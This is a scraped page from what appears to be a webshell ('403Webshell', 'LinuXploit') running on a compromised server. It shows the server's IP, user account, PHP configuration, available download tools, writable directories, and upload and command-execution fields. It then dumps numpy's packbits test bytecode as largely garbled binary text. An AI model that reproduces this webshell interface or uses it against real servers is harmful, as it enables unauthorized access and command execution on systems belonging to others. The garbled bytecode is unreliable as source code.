403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.25
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/numpy/lib/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/numpy/lib/tests/__pycache__/test_packbits.cpython-311.pyc
�

���c�D����ddlZddlmZmZmZddlZddlmZd�Z	d�Z
d�Zej�
dd��d	���Zd
�Zd�Zd�Zd
�Zd�Zd�ZGd�d��ZdS)�N)�assert_array_equal�assert_equal�
assert_raises)�chainc	��gd�gd�ggd�gd�gg}dD]y}tj||���}tj|d���}t|jtj��t
|tjd	gd
ggdgdggg�����ztttjtj|t�����dS)
N)�rr)rrr)rrr)rrr�?bBhHiIlLqQ��dtype�����axis��@�� )
�np�array�packbitsrr�uint8rr�	TypeError�float)�a�dt�arr�bs    �?/usr/lib/python3/dist-packages/numpy/lib/tests/test_packbits.py�
test_packbitsrs���
�)�)�Y�Y�Y�	�
�)�)�Y�Y�Y�	�	!�A��H�H���h�q��#�#�#���K��"�%�%�%���Q�W�b�h�'�'�'��1�b�h�#����
����t�}�'E�F�F�G�G�G�G��)�R�[�"�(�1�E�*B�*B�*B�C�C�C�C�C�c���gd�}dD]e}|D]`}tj||���}tj|��}t|jtj��t|jd���a�fdS)N)�r��
�r�r#rr$�rr#r$�r$rr�rr$r�rrr$�rrrr	r
r!)r�emptyrrrr�shape)�shapesrr,rrs     r�test_packbits_emptyr.s������F��(�(���	(�	(�E����b�)�)�)�A���A���A����"�(�+�+�+����$�'�'�'�'�		(�(�(rc
�\�ddgfdgd�fdgd�fdgd�fdgd	�fd
gd�fdgd
�fdgd�fg}dD]}|D]z\}}t|��D]e\}}tj||���}tj||���}t	|jtj��t	|j|���f�{��dS)Nr!r"))�r$r)r#�rr"r%))r0rr$r%)r#rr1r&)r&)rr0r$)rr#r1r')�r1rrr'r'r()r(�rr1rr(r))r)r)�rrr1r*�r*r*r*r	r
r
)�	enumeraterr+rrrrr,)r-r�in_shape�
out_shapes�ax�	out_shaperrs        r�test_packbits_empty_with_axisr; s"��
��v��	�;�;�;�<�	�;�;�;�<�	�;�;�;�<�	�8�8�8�9�	�8�8�8�9�	�8�8�8�9�	�5�5�5�6�	�F��1�1��$*�	1�	1� �H�j�!*�:�!6�!6�
1�
1�
��I��H�X�R�0�0�0���K���+�+�+���Q�W�b�h�/�/�/��Q�W�i�0�0�0�0�	
1�	1�1�1r�bitorder��little�bigc�t��tjgd���}|�d��}dD�]�}tj||����tj�d|���}t	|jtj��gd�}|dkrt||��ttj||���dd	�|���fd
�tdd��D��}t|gd
�����
dd���tj�d���}t	|jtj��t|gd�gd�gd�gd�gd�g��tj�d���}t	|jtj��t|ggd��gd��gd��gd��gd��gd��gd��gd��gd��gd ��gd!��gd"��gd#��gd$��gd%��gd&��gd'��gd(��gd)��gd*��gd��gd+��gd,��gd-��gd.��gd/��gd0��gd1��gd2��gd3��gd4��gd5��gd6��gd7��gd8��gd9�����j����tj�d���}t	|jtj��t|gd:�gd;�gd<�gd=�g��tj�d���}t	|jtj��t|gd>�gd?�gd@�gdA�gdB�gdC�gdD�gdE�gdF�gdG�gdH�gdI�gdJ�gdK�gdL�gdM�gdN�gdO�gdP�gdQ�gdR�gdS�gdT�gdU�gdV�g�����dWD]�}tj||����tj
�tj|��jtj|��j�j|�X��}d||dk<�|�|��z�tj�dY���}ttj|��dd	�|����t)t*tjtj|t,�����dS)ZN(,rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr1r	r
�rr<)q��rr1��rBrrE���r�r�rB�q�r1rIrrH�rrH�~r��rCrI���rErFrP�?rHrM�8rOrGrrO�rQrN�rRrB�prRrI��rKr1rGrRrNrUrQrIrI��rNrTrrF�rr1rIrWrrrIrNrrIrBrMrQrrrrBrTrQrrLrWrBrJrIr1rSrRrBrTrErrJrIrIrPrRrO�rKrOrYrWrFrSr?�r<���c�Z��g|]'}tj�d|�d���d��(S)Nr
r)rr)�.0�irs  �r�
<listcomp>z'test_packbits_large.<locals>.<listcomp>Ys7���H�H�H�a�R�[��S�q�b�S���
-�
-�
-�b�
1�H�H�Hrr�)rSrSrSrF�rH�r`rrrrW����r�$�rr
)���ri����W�Srm��rW����rp�rq�rr��(�i�k�K�J�X)�H��rKrVrOrn���Zr}rmrm�wrC�m�Ir������-�)�h�zr}�)rJ�xrKr{�rb�<�4�rjrjrj���r��rIrI�����r���)��r�r�r�D�r�rrzry�\r��N�n�'��������r�r|����)rrSrSr�PrU�0rrrNrGr��rSrrNrGr�r�r��rGrNrrS)rBrCrr)rErBrLrS)rGrrHr)rIrSrrS)rrFrIrS)rPrQrr)rIrGrEr)rErNrTr)rMrrNr)rIrIrWr)rRrHrMr)rJrKrOrS)rOrPrQr)rrHrUr)rLrKr1rS)rHrMrRr)rRrIrVrS)rGrErNr)rOrYrrS)rIrIrDr)r1rVrKr)rrIrVrS)rSrrIrS)rNrrIrS)rKrBrMr)rrEr1rS)rNrJrKr)rrBrCrS)rPrQrNr)rNrTrQr)rEr1rSr)rJrIrIrS)rHrJrWr)rErOrPr)rTrRrBr)$rBrErGrIrrPrIrErMrIrRrJrOrrLrHrRrGrOrIrMr1rrSrNrKrrNrrPrNrErJrHrErT)$rCrBrrSrFrQrGrNrrIrHrKrPrHrKrMrIrErYrIrrVrIrrrBrErJrBrQrTr1rIrJrOrR)$rrLrHrrIrrErTrNrWrMrOrQrUr1rRrVrNrrDrNrKrVrIrIrMr1rKrCrNrQrSrIrWrPrB)$rrSrrSrSrrrrrrrSrrrSrrSrrSrrrrSrSrSrrSrrSrrrrSrrr)rgrzrJr�r)rhr{r�r�rS)rirKrKr�rS)rirVr{rr)rjrOr�r�r�)rkrnrbr�rU)rlr|r�r�r�)rmr}r�rr)rmr}r�rzr)rnrmrjryrN)rWrmrjr�rG)ror~rjr�r�)rprCr�r�r�)rprr�r�rS)rqr�r�r�r)rqrr�r�rN)rrr�rIr�rG)rrr�rIr�r�)rsr�r�r�r�)rtr�r�r�r�)rur�r�r�r�)rvr�r�r|rG)rwr�r�r�rN)rxr}r�r�r)ryr�r�r�rS�
bBhHiIlLqQ)�low�high�sizerr)rr�repeatrrrrr�
unpackbits�range�reshape�T�copy�random�randint�iinfo�min�maxr��astyperrr)r<rrr�r�rndrs      @r�test_packbits_larger�4s����	��N�N�N�	O�	O�A�	
������A��~;�~;���h�q��&�&�&���K��$��:�:�:���Q�W�b�h�'�'�'�
/�
/�
/���u����q�!�$�$�$��2�=��X�>�>�>�s��s�C�Q�G�G�G�
I�H�H�H�5��B�<�<�H�H�H���1�.�.�.�	/�	/�	/��k�k�"�b�!�!���K��!�$�$�$���Q�W�b�h�'�'�'��1� 1� 1� 1� 6� 6� 6� ;� ;� ;� 4� 4� 4� >� >� >�?�	@�	@�	@� 
�K��!�$�$�$���Q�W�b�h�'�'�'��1�#5�3�3�3�#5�3�3�3�#5�3�3�3�#5� 4�3�3�#5� 4�3�3�	#5�
 4�3�3�#5� 4�3�3�
#5� 4�3�3�#5� 4�3�3�#5� 4�3�3�#5� 4�3�3�#5� 4�3�3�#5� 4�3�3�#5� 4�3�3�#5� 4�3�3�#5� 4�3�3�#5�  4�3�3�!#5�" 4�3�3�##5�$ 4�3�3�%#5�& 4�3�3�'#5�( 4�3�3�)#5�* 4�3�3�+#5�, 4�3�3�-#5�. 4�3�3�/#5�0 4�3�3�1#5�2 4�3�3�3#5�4 4�3�3�5#5�6 4�3�3�7#5�8 4�3�3�9#5�: 4�3�3�;#5�< 4�3�3�=#5�> 4�3�3�?#5�@ 4�3�3�A#5�B 4�3�3�C#5�D 4�3�3�E#5�F 4�3�3�G#5�#	6�#	6�#	6�J�e�j�j�l�l���K��!�$�$�$���Q�W�b�h�'�'�'��1� 3� 3� 3�!7�!7�!7�!:�!:�!:�!M�!M�!M�N�	O�	O�	O� 
�K��!�$�$�$���Q�W�b�h�'�'�'��1�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�8�1:�	;�	;�	;�	;�8�5�5���h�q��&�&�&���i���B�H�U�O�O�$7�%'�X�e�_�_�%8�s�x�&+� �-�-����C�1�H�
��s�z�z�%� � � ���K��"�%�%�%���2�=��+�+�C�R�C�0�!�4�4�4�4��)�R�[�"�(�1�E�*B�*B�*B�C�C�C�C�Crc��tdd��D]:}dD]5}tjd|ft���}tj|d����6�;dS)Ni�ir	��r
rr
)r�r�ones�boolr)�sr�xs   r�test_packbits_very_larger��sk���3��
�
�#�#���	#�	#�B����a���-�-�-�A��K���"�"�"�"�"�	#�#�#rc	��tjdgdgdggtj���}tj|d���}t	|jtj��t
|tjgd�gd�gd	�g����dS)
Nr0rE�r
rr
)rrrrrrrr)rrrrrrrr)rrrrrrrr)rrrr�rrr�rrs  r�test_unpackbitsr��s���
��1�#��s�R�D�!���2�2�2�A�
�
�a�a� � � �A����"�(�#�#�#��q�"�(�$<�$<�$<�$<�$<�$<�$<�$<�$<�$>�?�?�@�@�@�@�@rc��tjdgdgdggtj���}tj|d���}t	|jtj��tj|dd���}tj|dd	���}t
||��t
|tj|dd�����t
|dd�ddd
�f|��t
|tj|dd	�����tttj|d���tttj|d
���dS)Nr0rEr�r
rr
r>rAr?rr�rZr#)rrrr�rrrrr�
ValueErrorr)rr�b_little�b_bigs    r�test_pack_unpack_orderr��s%��
��1�#��s�R�D�!���2�2�2�A�
�
�a�a� � � �A����"�(�#�#�#��}�Q�Q��:�:�:�H��M�!�!�e�4�4�4�E��q�%� � � ��q�"�+�h�Q��J�J�J�K�K�K��q����4�4�R�4��y�(�+�+�+��q�"�+�e�!�e�D�D�D�E�E�E��*�b�m�Q��=�=�=�=��)�R�]�A��;�;�;�;�;�;rc���tjdtj���}tj|��}t	|jtj��t
|tjd����dS)Nr!r
)rr+rr�rrrr�s  r�test_unpackbits_emptyr��sY��
���R�X�&�&�&�A�
�
�a���A����"�(�#�#�#��q�"�(�4�.�.�)�)�)�)�)rc	�f�dgdfgd�dfgd�dfgd�dfgd�d	fgd
�dfgd�d
fgd�dfg}|D]�\}}t|��D]o\}}tj|tj���}tj||���}t|jtj��t|j|���p��dS)Nr!))r0rbr)r`r1r�r`rbrr�))r0rrb�r`rrb)r`rr1r�)�rr`rb)rr0rb)rr`r1r�)r2�rbrrr�r�)�rrbrr3r�r�)�rrrbr�r4r�r5r*r
r
)r6rr+rr�rrr,)r-�	in_shapesr:r9r7rrs       r�test_unpackbits_empty_with_axisr��s	������	.�	.�	.��<�	.�	.�	.��<�	.�	.�	.��<�	,�	,�	,�j�9�	,�	,�	,�j�9�	,�	,�	,�j�9�	*�	*�	*�I�6�	�F�!'�-�-��	�9�%�i�0�0�	-�	-�L�B�������2�2�2�A��
�a�b�)�)�)�A����"�(�+�+�+����)�,�,�,�,�		-�-�-rc
�v�tjdtj���}ttjtj|����|��ttjtj|ddd�����|ddd���tj|d��}ttjtj|d���d���|��|j���}ttjtj|d���d���|��dS)Nir
r0)r1rrr
r)	r�arangerrrr��tiler�r�)�ds r�test_unpackbits_larger�s���
�	�#�R�X�&�&�&�A��r�{�2�=��#3�#3�4�4�a�8�8�8��r�{�2�=��3�3�Q�3��#8�#8�9�9�1�S�S�q�S�6�B�B�B�
���6���A��r�{�2�=���#;�#;�#;�!�D�D�D�a�H�H�H�	����
�
�A��r�{�2�=���#;�#;�#;�!�D�D�D�a�H�H�H�H�Hrc���eZdZejgd�gd�gd�gd�gd�gd�gd�gej���Zejd	ej���Ze�	��ed
d�<ejd	ej���Z
ed
d
d�����	��e
d
d�<ejd
ej���Zeed
d�d
d�f<e
j�dd��e
j�deed��eddd������d�����Ze
j�didd
ig��d���Ze
j�dd��e
j�deed��eddd������d�����Ze
j�didd
iddidd
d�ddidd
d�g��d���Zd�Zd
S)�	TestCount)rrrrrrr)rrrrrrr)rrrrrrr)rrrrrrr)rrrrrrr)rrrrrrr)rrrrrrrr
�9N�1r)�	r�rEr<r=�count�:����c��|dkr|dz
}n|}tj|j|���}tj|||���}t	|jtj��t||jd|���dS)NrrrZ)r�r<�	rrr�r�rrrr�padded1)�selfr<r��cutoff�packed�unpackeds      r�test_roundtripzTestCount.test_roundtrip.s~���1�9�9��Q�Y�F�F��F���T�V�h�7�7�7���=��u�x�H�H�H���X�^�R�X�.�.�.��8�T�\�'�6�'�%:�;�;�;�;�;r�kwargsc���tj|j��}tj|fi|��}t	|jtj��t||jdd���dS)Nrr�)r�r�r�r�s    r�
test_countzTestCount.test_count<sa����T�V�$�$���=��2�2�6�2�2���X�^�R�X�.�.�.��8�T�\�#�2�#�%6�7�7�7�7�7rrs���c�2�|dkr|dz
}n|}tj|jd|���}tj|d||���}t	|jtj��t||jd|�d|jj	d�f��tj|jd|���}tj|d||���}t	|jtj��t||jd|jj	d�d|�f��dS)NrrrA)rr�r<)
rrr�r�rrrr�padded2r,)r�r<r�r��packed0�	unpacked0�packed1�	unpacked1s        r�test_roundtrip_axiszTestCount.test_roundtrip_axisEs���1�9�9��Q�Y�F�F��F��+�d�f�1�x�@�@�@���M�'���+3�5�5�5�	��Y�_�b�h�/�/�/��9�d�l�7�F�7�<L�T�V�\�!�_�<L�3L�&M�N�N�N��+�d�f�1�x�@�@�@���M�'���+3�5�5�5�	��Y�_�b�h�/�/�/��9�d�l�3C�D�F�L��O�3C�W�f�W�3L�&M�N�N�N�N�Nrr>)r<r�r?c�h�tj|jd���}tj|fddi|��}t	|jtj��|�dd��dkr2t||j	dd�d|jj
d�f��n>t|ddd�dd�f|j	dd�d|jj
d�f��tj|jd���}tj|fddi|��}t	|jtj��|�dd��dkr3t||j	d|jj
d�dd�f��dSt|dd�ddd�f|j	d|jj
d�dd�f��dS)Nrr
rr<r?rr)rrr�r�rrr�getrr�r,)r�r�r�r�r�r�s      r�test_axis_countzTestCount.test_axis_countZs����+�d�f�1�-�-�-���M�'�<�<��<�V�<�<�	��Y�_�b�h�/�/�/��:�:�j�%�(�(�E�1�1��y�$�,�s��s�<L�T�V�\�!�_�<L�7L�*M�N�N�N�N��y���2��q�q�q��1�4�<����EU�d�f�l�ST�o�EU�@U�3V�W�W�W��+�d�f�1�-�-�-���M�'�<�<��<�V�<�<�	��Y�_�b�h�/�/�/��:�:�j�%�(�(�E�1�1��y�$�,�7G����Q��7G��"��7L�*M�N�N�N�N�N��y����D�D�b�D��1�4�<�@P����a��@P�RU�SU�RU�@U�3V�W�W�W�W�Wrc�t�tj|jd���}tttj|dd���tj|jd���}tttj|dd���tj|j��}tttj|d���dS)Nrr
r�)rr�rr�)r�)rrr�rr�r�)r�r�r�r�s    r�test_bad_countzTestCount.test_bad_countrs����+�d�f�1�-�-�-���j�"�-��q��K�K�K�K��+�d�f�1�-�-�-���j�"�-��q��K�K�K�K���T�V�$�$���j�"�-��s�C�C�C�C�C�Cr)�__name__�
__module__�__qualname__rrrr��zerosr��ravel�padded1br�r��pytest�mark�parametrizerr�r�r�r�r�r��rrr�r�s���������������������������������X�	�	�	�A��b�h�r���*�*�*�G��7�7�9�9�G�C�R�C�L��r�x��"�(�+�+�+�H��d�d��d�G�L�L�N�N�(�(�*�*�H�S�b�S�M��b�h�v�R�X�.�.�.�G��G�B�Q�B����F�O��[���Z�):�;�;��[���W�e�e�E�E�"�I�I�u�u�R��b�7I�7I�&J�&J�K�K�
<�
<�L�K�<�;�
<��[���X���$��(���8�8���8��[���Z�):�;�;��[���W�e�e�E�E�!�H�H�e�e�B��B�6G�6G�&H�&H�I�I�O�O�J�I�<�;�O�$�[���X���$���(�+�!)�D�9�9��%�(�!&��6�6�(���X�X���X�"D�D�D�D�Drr�)�numpyr�
numpy.testingrrrr�	itertoolsrrr.r;rrr�r�r�r�r�r�r�r�rrr�<module>r
sV������I�I�I�I�I�I�I�I�I�I�
�
�
�
�������
D�
D�
D�
(�
(�
(�1�1�1�(�����%6�7�7�^D�^D�8�7�^D�B#�#�#�@�@�@�<�<�<�*�*�*�-�-�-�(I�I�I�[D�[D�[D�[D�[D�[D�[D�[D�[D�[Dr

Youez - 2016 - github.com/yon3zu
LinuXploit